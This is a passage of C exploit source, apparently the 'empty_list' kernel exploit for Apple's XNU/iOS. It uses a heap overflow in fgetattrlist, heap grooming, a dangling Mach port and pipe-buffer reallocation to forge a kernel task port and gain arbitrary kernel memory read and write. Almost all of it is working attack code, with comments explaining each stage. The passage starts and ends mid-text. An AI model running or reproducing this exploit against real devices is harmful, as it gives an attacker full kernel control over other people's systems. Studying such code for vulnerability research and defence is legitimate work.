msg->ool_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; 254 | msg->ool_ports[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR; 255 | msg->ool_ports[i].copy = MACH_MSG_PHYSICAL_COPY; 256 | } 257 | 258 | for (int i = 0; i < messages_to_send; i++) { 259 | // send it: 260 | err = mach_msg(&msg->hdr, 261 | MACH_SEND_MSG|MACH_MSG_OPTION_NONE, 262 | (uint32_t)message_size, 263 | 0, 264 | MACH_PORT_NULL, 265 | MACH_MSG_TIMEOUT_NONE, 266 | MACH_PORT_NULL); 267 | if (err != KERN_SUCCESS) { 268 | printf("%s\n", mach_error_string(err)); 269 | //exit(EXIT_FAILURE); 270 | } 271 | } 272 | free(ports_to_send); 273 | free(msg); 274 | 275 | return port; 276 | } 277 | 278 | uint8_t msg_buf[10000]; 279 | void discard_message(mach_port_t port) { 280 | mach_msg_header_t* msg = (mach_msg_header_t*)msg_buf; 281 | kern_return_t err; 282 | err = mach_msg(msg, 283 | MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE, // no timeout 284 | 0, 285 | 10000, 286 | port, 287 | 0, 288 | 0); 289 | if (err != KERN_SUCCESS){ 290 | printf("error receiving on port: %s\n", mach_error_string(err)); 291 | } 292 | 293 | mach_msg_destroy(msg); 294 | } 295 | 296 | #include 297 | 298 | int vfs_fd = -1; 299 | struct attrlist al = {0}; 300 | size_t attrBufSize = 16; 301 | void* attrBuf = NULL; 302 | 303 | void prepare_vfs_overflow() { 304 | vfs_fd = open("/", O_RDONLY); 305 | if (vfs_fd == -1) { 306 | perror("unable to open fs root\n"); 307 | return; 308 | } 309 | 310 | 311 | al.bitmapcount = ATTR_BIT_MAP_COUNT; 312 | al.volattr = 0xfff; 313 | al.commonattr = ATTR_CMN_RETURNED_ATTRS; 314 | 315 | attrBuf = malloc(attrBufSize); 316 | } 317 | 318 | // this will do a kalloc.16, overflow out of it with 8 NULL bytes, then free it 319 | void do_vfs_overflow() { 320 | int options = 0; 321 | int err = fgetattrlist(vfs_fd, &al, attrBuf, attrBufSize, options); 322 | //printf("err: %d\n", err); 323 | } 324 | 325 | mach_port_t initial_early_kallocs[80000]; 326 | int next_early_kalloc = 0; 327 | 328 | mach_port_t middle_kallocs[80000]; 329 | int next_middle_kalloc = 0; 330 | 331 | 332 | // in the end I don't use these, but maybe they help? 333 | 334 | volatile int keep_spinning = 1; 335 | void* spinner(void* arg) { 336 | while(keep_spinning); 337 | return NULL; 338 | } 339 | 340 | #define N_SPINNERS 100 341 | pthread_t spin_threads[N_SPINNERS]; 342 | 343 | void start_spinners() { 344 | return; 345 | for (int i = 0; i < N_SPINNERS; i++) { 346 | pthread_create(&spin_threads[i], NULL, spinner, NULL); 347 | } 348 | } 349 | 350 | void stop_spinners() { 351 | return; 352 | keep_spinning = 0; 353 | for (int i = 0; i < N_SPINNERS; i++) { 354 | pthread_join(spin_threads[i], NULL); 355 | } 356 | } 357 | 358 | const int total_fds = 14*0x1f*8; 359 | int read_ends[total_fds]; 360 | int write_ends[total_fds]; 361 | int next_pipe_index = 0; 362 | 363 | mach_port_t early_read_port = MACH_PORT_NULL; 364 | int early_read_read_fd = -1; 365 | int early_read_write_fd = -1; 366 | uint64_t early_read_known_kaddr = 0; 367 | 368 | // read_fd and write_fd are the pipe fds which have a pipe buffer at known_addr 369 | void prepare_early_read_primitive(mach_port_t target_port, int read_fd, int write_fd, uint64_t known_kaddr) { 370 | early_read_port = target_port; 371 | early_read_read_fd = read_fd; 372 | early_read_write_fd = write_fd; 373 | early_read_known_kaddr = known_kaddr; 374 | } 375 | 376 | uint32_t early_rk32(uint64_t kaddr) { 377 | uint8_t* buf = malloc(0xfff); 378 | read(early_read_read_fd, buf, 0xfff); 379 | build_fake_task_port(buf, early_read_known_kaddr, kaddr, 0, 0, 0); 380 | write(early_read_write_fd, buf, 0xfff); 381 | 382 | uint32_t val = 0; 383 | kern_return_t err = pid_for_task(early_read_port, &val); 384 | if (err != KERN_SUCCESS) { 385 | printf("pid_for_task returned %x (%s)\n", err, mach_error_string(err)); 386 | } 387 | printf("read val via pid_for_task: %08x\n", val); 388 | free(buf); 389 | return val; 390 | } 391 | 392 | uint64_t early_rk64(uint64_t kaddr) { 393 | uint64_t lower = (uint64_t)early_rk32(kaddr); 394 | uint64_t upper = (uint64_t)early_rk32(kaddr + 4); 395 | uint64_t final = lower | (upper << 32); 396 | return final; 397 | } 398 | 399 | void vfs_sploit() { 400 | printf("empty_list by @i41nbeer\n"); 401 | offsets_init(); 402 | 403 | start_spinners(); 404 | printf("vfs_sploit\n"); 405 | increase_limits(); 406 | 407 | size_t kernel_page_size = 0; 408 | host_page_size(mach_host_self(), &kernel_page_size); 409 | if (kernel_page_size == 0x4000) { 410 | printf("this device uses 16k kernel pages\n"); 411 | } else if (kernel_page_size == 0x1000) { 412 | printf("this device uses 4k kernel pages\n"); 413 | } else { 414 | printf("this device uses an unsupported kernel page size\n"); 415 | exit(EXIT_FAILURE); 416 | } 417 | 418 | 419 | prepare_vfs_overflow(); 420 | // set up the heap: 421 | 422 | // allocate a pool of early ports; we'll use some of these later 423 | alloc_early_ports(); 424 | 425 | if (kernel_page_size == 0x1000) { 426 | mach_port_t initial_kallocs_holder = hold_kallocs(0x10, 100, 100, MACH_PORT_NULL, NULL); 427 | } 428 | 429 | // 0x110 will be the kalloc size of the ipc_kmsg allocation for the kalloc.16 messages 430 | // we need to ensure that these allocations don't interfere with the page-level groom, 431 | // so ensure there's a long freelist for them 432 | 433 | // make 30'000 kalloc(0x110) calls then free them all 434 | mach_port_t flp = hold_kallocs(0x110, 100, 500, MACH_PORT_NULL, NULL); 435 | mach_port_destroy(mach_task_self(), flp); 436 | 437 | // try to groom our initial pattern: 438 | // kalloc.16 | ipc_ports | kalloc.16 | ipc_ports ... 439 | // first off we're just trying to get the pages like that 440 | 441 | int INITIAL_PATTERN_REPEATS = kernel_page_size == 0x4000 ? 40 : 60; 442 | mach_port_t kalloc_holder_port = MACH_PORT_NULL; 443 | 444 | 445 | int kallocs_per_zcram = kernel_page_size/0x10; // 0x1000 with small kernel pages, 0x4000 with large 446 | int ports_per_zcram = kernel_page_size == 0x1000 ? 0x49 : 0xe0; // 0x3000 with small kernel pages, 0x4000 with large 447 | 448 | for (int i = 0; i < INITIAL_PATTERN_REPEATS; i++) { 449 | // 1 page of kalloc 450 | for (int i = 0; i < kallocs_per_zcram; i++) { 451 | mach_port_t p = kalloc_16(); 452 | initial_early_kallocs[next_early_kalloc++] = p; 453 | } 454 | 455 | // 1 full allocation set of ports: 456 | for (int i = 0; i < ports_per_zcram; i++) { 457 | mach_port_t port = alloc_middle_port(); 458 | } 459 | } 460 | 461 | // now we hopefully have a nice arrangement of repeated fresh 'k.16 | ipc_port' pages 462 | // to understand this next bit it's important to notice that zone allocations will come first 463 | // from intermediate (partially full) pages. This means that if we just start free'ing and 464 | // allocating k.16 objects somewhere in the middle of the groom they won't be re-used until 465 | // the current intermediate page is either full or empty. 466 | 467 | // this provides a challenge because fresh page's freelist's are filled semi-randomly such that 468 | // their allocations will go from the inside to the outside: 469 | // 470 | // | 9 8 6 5 2 1 3 4 7 10 | <-- example "randomized" allocation order from a fresh all-free page 471 | // 472 | // this means that our final intermediate k.16 and ports pages will look a bit like this: 473 | // 474 | // | - - - 5 2 1 3 4 - - | - - - 4 1 2 3 5 - - | 475 | // kalloc.16 ipc_ports 476 | 477 | // if we use the overflow to corrupt a freelist entry we'll panic if it gets allocated, so we 478 | // need to avoid that 479 | 480 | // the trick is that by controlling the allocation and free order we can reverse the freelists such that 481 | // the final intermediate pages will look more like this: 482 | // 483 | // | 1 4 - - - - - 5 3 2 | 2 5 - - - - - 4 3 1 | 484 | // kalloc.16 ipc_ports 485 | // 486 | // at this point we're much more likely to be able to free a kalloc.16 and realloc it for the overflow 487 | // such that we can hit the first qword of an ipc_port 488 | 489 | 490 | // free them all, reversing the freelists! 491 | for (int i = 0; i < next_early_kalloc; i++) { 492 | discard_message(initial_early_kallocs[i]); 493 | } 494 | 495 | int HOP_BACK = kernel_page_size == 0x4000 ? 16 : 30; 496 | 497 | for (int i = 0; i < INITIAL_PATTERN_REPEATS - HOP_BACK; i++) { 498 | for (int i = 0; i < kallocs_per_zcram; i++) { 499 | mach_port_t p = kalloc_16(); 500 | middle_kallocs[next_middle_kalloc++] = p; 501 | } 502 | } 503 | 504 | mach_port_t target_port = MACH_PORT_NULL; 505 | 506 | int first_candidate_port_index = next_middle_port - ((HOP_BACK+2)*ports_per_zcram); // 32 35 +2 507 | int last_candidate_port_index = next_middle_port - ((HOP_BACK-2)*ports_per_zcram); // 28 25 -2 508 | 509 | //sched_yield(); 510 | // wait a second 511 | // this is a load-bearing sleep - this works better than sched_yield 512 | // we want this loop to be as fast as possible, and ideally not get pre-empted 513 | // don't remove this :) 514 | sleep(1); 515 | for (int i = 0; i < kallocs_per_zcram; i++) { 516 | mach_port_t kp = middle_kallocs[next_middle_kalloc-20-1]; 517 | next_middle_kalloc--; 518 | 519 | discard_message(kp); 520 | 521 | do_vfs_overflow(); 522 | 523 | // realloc 524 | mach_port_t replacer_f = kalloc_16(); 525 | 526 | // loop through the candidate overwrite target ports and see if they were hit 527 | // we can detect this via mach_port_kobject; if we know the name we pass it is valid 528 | // but we get KERN_INVALID_RIGHT then we cleared the io_active bit 529 | 530 | for (int j = first_candidate_port_index; j < last_candidate_port_index; j++){ 531 | mach_port_t candidate_port = middle_ports[j]; 532 | kern_return_t err; 533 | natural_t typep = 0; 534 | mach_vm_address_t addr = 0; 535 | 536 | err = mach_port_kobject(mach_task_self(), 537 | candidate_port, 538 | &typep, 539 | &addr); 540 | if (err != KERN_SUCCESS) { 541 | printf("found the port! %x\n", candidate_port); 542 | target_port = candidate_port; 543 | break; 544 | } 545 | } 546 | if (target_port != MACH_PORT_NULL) { 547 | break; 548 | } 549 | } 550 | 551 | stop_spinners(); 552 | 553 | // lets stash the ports we want to keep: 554 | 555 | // we know the dangling port is about 30 loops back from the end of the middle_ports 556 | // lets keep hold of a region about 3 loop iterations ahead of this 557 | 558 | #define CANARY_REGION 4 559 | 560 | int ports_to_hold = ports_per_zcram; //ports_per_zcram * 3;//0x49*3; 561 | mach_port_t hold_ports[ports_to_hold]; 562 | for (int i = 0; i < ports_to_hold; i++) { 563 | int source_index = ((INITIAL_PATTERN_REPEATS - HOP_BACK + CANARY_REGION) * ports_per_zcram) + i; // 20 10 564 | hold_ports[i] = middle_ports[source_index]; 565 | middle_ports[source_index] = MACH_PORT_NULL; 566 | } 567 | 568 | // now dump all our ports 569 | // we can keep the early ports, we'll continue to use them for kallocs and stuff 570 | 571 | for (int i = 0; i < next_middle_port; i++) { 572 | mach_port_t port = middle_ports[i]; 573 | if (port == MACH_PORT_NULL) { 574 | continue; 575 | } 576 | if (port == target_port) { 577 | // cause the target port to be freed but leave us a dangling entry in the port table 578 | // note that the port isn't active so we need a code path which will take and drop a reference 579 | // but won't do anything if the port isn't active (like trying to give us a DEAD_NAME) 580 | int new_size = 100; 581 | kern_return_t err = mach_port_set_attributes(mach_task_self(), target_port, MACH_PORT_DNREQUESTS_SIZE, (mach_port_info_t)&new_size, sizeof(int)); 582 | if (err != KERN_SUCCESS) { 583 | printf("mach_port_set_attributes failed %s\n", mach_error_string(err)); 584 | } else { 585 | printf("freed the port\n"); 586 | } 587 | } else { 588 | mach_port_destroy(mach_task_self(), port); 589 | } 590 | } 591 | 592 | // 150MB 593 | #define N_COLLECTABLES 3 594 | mach_port_t collectable_ports[N_COLLECTABLES]; 595 | for (int i = 0; i < N_COLLECTABLES; i++) { 596 | collectable_ports[i] = hold_kallocs(0x800, 0x3e, 400, MACH_PORT_NULL, NULL); 597 | } 598 | 599 | for (int i = 0; i < N_COLLECTABLES; i++) { 600 | mach_port_destroy(mach_task_self(), collectable_ports[i]); 601 | } 602 | 603 | 604 | // choose a port from the middle of the holder range as our canary: 605 | mach_port_t canary_port = hold_ports[ports_to_hold/2]; 606 | mach_port_insert_right(mach_task_self(), canary_port, canary_port, MACH_MSG_TYPE_MAKE_SEND); 607 | 608 | 609 | // now try to cause the GC by allocating many copies of the replacer object: 610 | // the goal is to get the canary port overlapping the ip_context field of the dangling port 611 | mach_port_t replacer_object[0x200] = {0}; 612 | replacer_object[koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT)/8] = canary_port; 613 | 614 | // the replacer object allocation is a 0x1000 alloc 615 | // using the same maths as above lets allocate 200 MB of them, 616 | // slowly, hoping to cause GC: 617 | //int n_gc_ports = 200; 618 | int n_gc_ports = 250; // 200 619 | mach_port_t gc_ports[n_gc_ports]; 620 | for (int i = 0; i < n_gc_ports; i++) { 621 | gc_ports[i] = hold_kallocs(0x1000, 0x1f, 8, MACH_PORT_NULL, replacer_object); 622 | printf("gc tick %d\n", i); 623 | pthread_yield_np(); 624 | usleep(10000); 625 | } 626 | printf("did that trigger a gc and realloc?\n"); 627 | 628 | // if that worked we should now be able to find the address of the canary port: 629 | uint64_t canary_port_kaddr = 0; 630 | kern_return_t err; 631 | err = mach_port_get_context(mach_task_self(), target_port, &canary_port_kaddr); 632 | if (err != KERN_SUCCESS) { 633 | printf("error getting context from the target port (but no panic...): %s\n", mach_error_string(err)); 634 | } 635 | 636 | printf("the canary port is at %016llx\n", canary_port_kaddr); 637 | 638 | // lets modify the port so we can detect when we receive the message which has the OOL_PORTS descriptor which 639 | // overlaps the dangling target port: 640 | 641 | // we should be a bit more careful doing this to not go off the end: 642 | uint64_t fake_canary_kport_addr = canary_port_kaddr + 0xa8; 643 | 644 | err = mach_port_set_context(mach_task_self(), target_port, fake_canary_kport_addr); 645 | 646 | 647 | // lets build the contents of the pipe buffer 648 | // we're gonna hope that we can get this allocated pretty near the canary port: 649 | size_t pipe_buffer_size = 0xfff; // this is for kalloc.4096 650 | uint8_t* pipe_buf = malloc(0x1000); 651 | memset(pipe_buf, 0, 0x1000); 652 | 653 | uint64_t pipe_target_kaddr_offset = kernel_page_size == 0x4000 ? 0x20000 : 0x10000; 654 | 655 | uint64_t pipe_target_kaddr = (canary_port_kaddr + pipe_target_kaddr_offset) & (~0xfffULL); // 0x10000 656 | printf("pipe_target_kaddr: %016llx\n", pipe_target_kaddr); 657 | 658 | build_fake_task_port(pipe_buf, pipe_target_kaddr, pipe_target_kaddr, 0, 0, 0); 659 | 660 | 661 | // now go through each of the hold_kalloc messages and receive them. 662 | // check if they contained the canary port 663 | // reallocate them 664 | 665 | mach_port_t secondary_leaker_ports[200] = {0}; 666 | 667 | struct { 668 | mach_msg_header_t hdr; 669 | mach_msg_body_t body; 670 | mach_msg_ool_ports_descriptor_t ool_ports[0x1f]; 671 | mach_msg_trailer_t trailer; 672 | char pad[1000]; 673 | } msg = {0}; 674 | 675 | printf("sizeof(msg) 0x%x\n", sizeof(msg)); 676 | 677 | int hit_dangler = 0; 678 | int dangler_hits = 0; 679 | printf("the canary port is: %x\n", canary_port); 680 | 681 | mach_port_t fake_canary_port = MACH_PORT_NULL; 682 | 683 | for (int i = 0; i < n_gc_ports; i++) { 684 | mach_port_t gc_port = gc_ports[i]; 685 | 686 | for (int j = 0; j < 8; j++) { 687 | err = mach_msg(&msg.hdr, 688 | MACH_RCV_MSG, 689 | 0, 690 | sizeof(msg), 691 | gc_port, 692 | 0, 693 | 0); 694 | if (err != KERN_SUCCESS) { 695 | printf("failed to receive OOL_PORTS message (%d,%d) %s\n", i, j, mach_error_string(err)); 696 | } 697 | 698 | // check each of the canary ports: 699 | for (int k = 0; k < 0x1f; k++) { 700 | mach_port_t* ool_ports = msg.ool_ports[k].address; 701 | mach_port_t tester_port = ool_ports[koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT)/8]; 702 | if (tester_port != canary_port) { 703 | printf("found the mis-matching OOL discriptor (%x)\n", tester_port); 704 | hit_dangler = 1; 705 | fake_canary_port = tester_port; 706 | } else { 707 | // drop the UREF 708 | mach_port_deallocate(mach_task_self(), tester_port); 709 | } 710 | } 711 | } 712 | 713 | if (!hit_dangler) { 714 | // if we haven't yet hit the dangler, try to reallocate this memory: 715 | secondary_leaker_ports[i] = hold_kallocs(0x1000, 0x1f, 8, MACH_PORT_NULL, NULL); 716 | } else { 717 | if (dangler_hits == 14) { 718 | // we'll run out of pipe kva so stop now 719 | printf("hopefully that's enough pipes\n"); 720 | break; 721 | } 722 | for (int i = 0; i < (0x1f*8); i++) { 723 | // we have hit the dangler; from now on out we'll realloc with pipes 724 | // pipe memory is limited 725 | int fds[2] = {0}; 726 | int err = pipe(fds); 727 | if (err != 0) { 728 | perror("pipe failed\n"); 729 | } 730 | 731 | int read_end = fds[0]; 732 | int write_end = fds[1]; 733 | 734 | int flags = fcntl(write_end, F_GETFL); 735 | flags |= O_NONBLOCK; 736 | fcntl(write_end, F_SETFL, flags); 737 | 738 | build_fake_task_port(pipe_buf, pipe_target_kaddr, pipe_target_kaddr, 0, 0, next_pipe_index); 739 | 740 | ssize_t amount_written = write(write_end, pipe_buf, 0xfff); 741 | if (amount_written != 0xfff) { 742 | printf("amount written was short: 0x%x\n", amount_written); 743 | } 744 | 745 | read_ends[next_pipe_index] = read_end; 746 | write_ends[next_pipe_index++] = write_end; 747 | 748 | } 749 | dangler_hits++; 750 | } 751 | 752 | } 753 | 754 | 755 | printf("replaced with pipes hopefully... take a look\n"); 756 | 757 | // check the kernel object type of the dangling port: 758 | int otype = 0; 759 | mach_vm_address_t oaddr = 0; 760 | err = mach_port_kobject(mach_task_self(), target_port, &otype, &oaddr); 761 | if (err != KERN_SUCCESS) { 762 | printf("mach_port_kobject failed: %x %s\n", err, mach_error_string(err)); 763 | } 764 | printf("dangling port type: %x\n", otype); 765 | 766 | uint64_t replacer_pipe_index = 0xfffffff; 767 | err = mach_port_get_context(mach_task_self(), target_port, &replacer_pipe_index); 768 | printf("got replaced with pipe fd index %d\n", replacer_pipe_index); 769 | 770 | printf("gonna try a read...\n"); 771 | 772 | uint32_t val = 0; 773 | err = pid_for_task(target_port, &val); 774 | if (err != KERN_SUCCESS) { 775 | printf("pid_for_task returned %x (%s)\n", err, mach_error_string(err)); 776 | } 777 | printf("read val via pid_for_task: %08x\n", val); 778 | 779 | 780 | // at this point we know: 781 | // * which pipe fd overlaps with the dangling port 782 | // * the kernel address of the canary port (which is still a dangling port) 783 | // * the kernel address of the fake task (which is a pipe buffer, but we don't know which one) 784 | 785 | // things will be easier if we can learn the address of the dangling port giving us the address of the pipe buffer and a what/where primitive 786 | // we could hack around that by always rewriting all the pipes each time I guess... 787 | 788 | // for each pipe, apart from the one which we know overlaps with the port, replace the field which determines where to read from, then do the kernel read and see if the value is no longer 0x80000002 789 | char* old_contents = malloc(0xfff); 790 | char* new_contents = malloc(0xfff); 791 | int pipe_target_kaddr_replacer_index = -1; 792 | for (int i = 0; i < next_pipe_index; i++) { 793 | if (i == replacer_pipe_index) { 794 | continue; 795 | } 796 | read(read_ends[i], old_contents, 0xfff); 797 | build_fake_task_port(new_contents, pipe_target_kaddr, pipe_target_kaddr+4, 0, 0, 0); 798 | write(write_ends[i], new_contents, 0xfff); 799 | 800 | // try the read, did it change? 801 | uint32_t val = 0; 802 | err = pid_for_task(target_port, &val); 803 | if (err != KERN_SUCCESS) { 804 | printf("pid_for_task returned %x (%s)\n", err, mach_error_string(err)); 805 | } 806 | printf("read val via pid_for_task: %08x\n", val); 807 | if (val != 0x80000002) { 808 | printf("replacer fd index %d is at the pipe_target_kaddr\n", i); 809 | pipe_target_kaddr_replacer_index = i; 810 | break; 811 | } 812 | } 813 | free(old_contents); 814 | free(new_contents); 815 | if (pipe_target_kaddr_replacer_index == -1) { 816 | printf("failed to find the pipe_target_kaddr_replacer pipe\n"); 817 | } 818 | 819 | // now we know which pipe fd matches up with where the fake task is so 820 | // bootstrap the early read primitives 821 | 822 | prepare_early_read_primitive(target_port, read_ends[pipe_target_kaddr_replacer_index], write_ends[pipe_target_kaddr_replacer_index], pipe_target_kaddr); 823 | 824 | // we can now use early_rk{32,64} 825 | 826 | // send a message to the canary port containing a send right to the host port; 827 | // use the arbitrary read to find that, and from there find the kernel task port 828 | 829 | mach_msg_header_t host_msg = {0}; 830 | host_msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, MACH_MSG_TYPE_COPY_SEND); 831 | host_msg.msgh_size = sizeof(host_msg); 832 | host_msg.msgh_remote_port = canary_port; 833 | host_msg.msgh_local_port = mach_host_self(); 834 | host_msg.msgh_id = 0x12344321; 835 | 836 | err = mach_msg(&host_msg, 837 | MACH_SEND_MSG|MACH_MSG_OPTION_NONE, 838 | sizeof(host_msg), 839 | 0, 840 | MACH_PORT_NULL, 841 | MACH_MSG_TIMEOUT_NONE, 842 | MACH_PORT_NULL); 843 | if (err != KERN_SUCCESS) { 844 | printf("failed to send host message to canary port %s\n", mach_error_string(err)); 845 | //exit(EXIT_FAILURE); 846 | } 847 | printf("sent host_msg to canary port, let's find it and locate the host port\n"); 848 | 849 | uint64_t host_kmsg = early_rk64(canary_port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE)); 850 | printf("host_kmsg: %016llx\n", host_kmsg); 851 | 852 | // hexdump the kmsg: 853 | //for (int i = 0; i < 100; i++) { 854 | // uint64_t val = early_rk64(host_kmsg + (i*8)); 855 | // printf("%016llx: %016llx\n", host_kmsg + (i*8), val); 856 | //} 857 | uint64_t host_port_kaddr = early_rk64(host_kmsg + 0xac); // could parse the message to find this rather than hardcode 858 | 859 | // do the same thing again to get our task port: 860 | discard_message(canary_port); 861 | 862 | host_msg.msgh_local_port = mach_task_self(); 863 | err = mach_msg(&host_msg, 864 | MACH_SEND_MSG|MACH_MSG_OPTION_NONE, 865 | sizeof(host_msg), 866 | 0, 867 | MACH_PORT_NULL, 868 | MACH_MSG_TIMEOUT_NONE, 869 | MACH_PORT_NULL); 870 | if (err != KERN_SUCCESS) { 871 | printf("failed to send host message to canary port %s\n", mach_error_string(err)); 872 | //exit(EXIT_FAILURE); 873 | } 874 | printf("sent task_msg to canary port, let's find it and locate the host port\n"); 875 | 876 | uint64_t task_kmsg = early_rk64(canary_port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE)); 877 | printf("task_kmsg: %016llx\n", task_kmsg); 878 | 879 | 880 | uint64_t task_port_kaddr = early_rk64(host_kmsg + 0xac); 881 | 882 | printf("our task port is at %016llx\n", task_port_kaddr); 883 | 884 | 885 | 886 | // now we can copy-paste some code from multi_path: 887 | // for the full read/write primitive we need to find the kernel vm_map and the kernel ipc_space 888 | // we can get the ipc_space easily from the host port (receiver field): 889 | uint64_t ipc_space_kernel = early_rk64(host_port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)); 890 | 891 | printf("ipc_space_kernel: %016llx\n", ipc_space_kernel); 892 | 893 | // the kernel vm_map is a little trickier to find 894 | // we can use the trick from mach_portal to find the kernel task port because we know it's gonna be near the host_port on the heap: 895 | 896 | // find the start of the zone block containing the host and kernel task pointers: 897 | 898 | uint64_t offset = host_port_kaddr & 0xfff; 899 | uint64_t first_port = 0; 900 | if ((offset % 0xa8) == 0) { 901 | printf("host port is on first page\n"); 902 | first_port = host_port_kaddr & ~(0xfff); 903 | } else if(((offset+0x1000) % 0xa8) == 0) { 904 | printf("host port is on second page\n"); 905 | first_port = (host_port_kaddr-0x1000) & ~(0xfff); 906 | } else if(((offset+0x2000) % 0xa8) == 0) { 907 | printf("host port is on second page\n"); 908 | first_port = (host_port_kaddr-0x2000) & ~(0xfff); 909 | } else { 910 | printf("hummm, my assumptions about port allocations are wrong...\n"); 911 | } 912 | 913 | printf("first port is at %016llx\n", first_port); 914 | uint64_t kernel_vm_map = 0; 915 | for (int i = 0; i < ports_per_zcram; i++) { 916 | uint64_t early_port_kaddr = first_port + (i*0xa8); 917 | uint32_t io_bits = early_rk32(early_port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS)); 918 | 919 | if (io_bits != (IO_BITS_ACTIVE | IKOT_TASK)) { 920 | continue; 921 | } 922 | 923 | // get that port's kobject: 924 | uint64_t task_t = early_rk64(early_port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 925 | if (task_t == 0) { 926 | printf("weird heap object with NULL kobject\n"); 927 | continue; 928 | } 929 | 930 | // check the pid via the bsd_info: 931 | uint64_t bsd_info = early_rk64(task_t + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO)); 932 | if (bsd_info == 0) { 933 | printf("task doesn't have a bsd info\n"); 934 | continue; 935 | } 936 | uint32_t pid = early_rk32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID)); 937 | if (pid != 0) { 938 | printf("task isn't the kernel task\n"); 939 | } 940 | 941 | // found the right task, get the vm_map 942 | kernel_vm_map = early_rk64(task_t + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)); 943 | break; 944 | } 945 | 946 | if (kernel_vm_map == 0) { 947 | printf("unable to find the kernel task map\n"); 948 | return; 949 | } 950 | 951 | printf("kernel map:%016llx\n", kernel_vm_map); 952 | 953 | // find the address of the dangling port: 954 | uint64_t task_kaddr = early_rk64(task_port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 955 | uint64_t itk_space = early_rk64(task_kaddr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE)); 956 | uint64_t is_table = early_rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE)); 957 | 958 | const int sizeof_ipc_entry_t = 0x18; 959 | uint64_t target_port_kaddr = early_rk64(is_table + ((target_port >> 8) * sizeof_ipc_entry_t)); 960 | 961 | printf("dangling port kaddr is: %016llx\n", target_port_kaddr); 962 | 963 | // now we have everything to build a fake kernel task port for memory r/w: 964 | // we know which 965 | 966 | int target_port_read_fd = read_ends[replacer_pipe_index]; 967 | int target_port_write_fd = write_ends[replacer_pipe_index]; 968 | 969 | uint8_t* fake_tfp0_buf = malloc(0xfff); 970 | read(target_port_read_fd, fake_tfp0_buf, 0xfff); 971 | 972 | 973 | build_fake_task_port(fake_tfp0_buf, target_port_kaddr, 0x4242424243434343, kernel_vm_map, ipc_space_kernel, 0x1234); 974 | write(target_port_write_fd, fake_tfp0_buf, 0xfff); 975 | 976 | mach_port_t fake_tfp0 = target_port; 977 | printf("hopefully prepared a fake tfp0!\n"); 978 | 979 | // test it! 980 | vm_offset_t data_out = 0; 981 | mach_msg_type_number_t out_size = 0; 982 | err = mach_vm_read(fake_tfp0, kernel_vm_map, 0x40, &data_out, &out_size); 983 | if (err != KERN_SUCCESS) { 984 | printf("mach_vm_read failed: %x %s\n", err, mach_error_string(err)); 985 | sleep(3); 986 | exit(EXIT_FAILURE); 987 | } 988 | 989 | printf("kernel read via second tfp0 port worked?\n"); 990 | printf("0x%016llx\n", *(uint64_t*)data_out); 991 | printf("0x%016llx\n", *(uint64_t*)(data_out+8)); 992 | printf("0x%016llx\n", *(uint64_t*)(data_out+0x10)); 993 | printf("0x%016llx\n", *(uint64_t*)(data_out+0x18)); 994 | 995 | prepare_for_rw_with_fake_tfp0(fake_tfp0); 996 | 997 | // can now use {r,w}k_{32,64} 998 | 999 | // cleanup: 1000 | 1001 | // clean up the fake canary port entry: 1002 | wk64(is_table + ((fake_canary_port >> 8) * sizeof_ipc_entry_t), 0); 1003 | wk64(is_table + ((fake_canary_port >> 8) * sizeof_ipc_entry_t) + 8, 0); 1004 | 1005 | // leak the pipe buffer which replaces the dangling port: 1006 | 1007 | printf("going to try to clear up the pipes now\n"); 1008 | 1009 | // finally we have to fix up the pipe's buffer 1010 | // for this we need to find the process fd table: 1011 | // struct proc: 1012 | uint64_t proc_addr = rk64(task_kaddr + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO)); 1013 | 1014 | // struct filedesc 1015 | uint64_t filedesc = rk64(proc_addr + koffset(KSTRUCT_OFFSET_PROC_P_FD)); 1016 | 1017 | // base of ofiles array 1018 | uint64_t ofiles_base = rk64(filedesc + koffset(KSTRUCT_OFFSET_FILEDESC_FD_OFILES)); 1019 | 1020 | uint64_t ofiles_offset = ofiles_base + (target_port_read_fd * 8); 1021 | 1022 | // struct fileproc 1023 | uint64_t fileproc = rk64(ofiles_offset); 1024 | 1025 | // struct fileglob 1026 | uint64_t fileglob = rk64(fileproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB)); 1027 | 1028 | // struct pipe 1029 | uint64_t pipe = rk64(fileglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA)); 1030 | 1031 | // clear the inline struct pipebuf 1032 | printf("clearing pipebuf: %llx\n", pipe); 1033 | wk64(pipe + 0x00, 0); 1034 | wk64(pipe + 0x08, 0); 1035 | wk64(pipe + 0x10, 0); 1036 | 1037 | // do the same for the other end: 1038 | ofiles_offset = ofiles_base + (target_port_write_fd * 8); 1039 | 1040 | // struct fileproc 1041 | fileproc = rk64(ofiles_offset); 1042 | 1043 | // struct fileglob 1044 | fileglob = rk64(fileproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB)); 1045 | 1046 | // struct pipe 1047 | pipe = rk64(fileglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA)); 1048 | 1049 | printf("clearing pipebuf: %llx\n", pipe); 1050 | wk64(pipe + 0x00, 0); 1051 | wk64(pipe + 0x08, 0); 1052 | wk64(pipe + 0x10, 0); 1053 | 1054 | printf("done!\n"); 1055 | 1056 | printf("use the functions in kmem.h to read and write kernel memory\n"); 1057 | printf("tfp0 in there will stay alive once this process exits\n"); 1058 | printf("keep hold of a send right to it; don't expect this exploit to work again without a 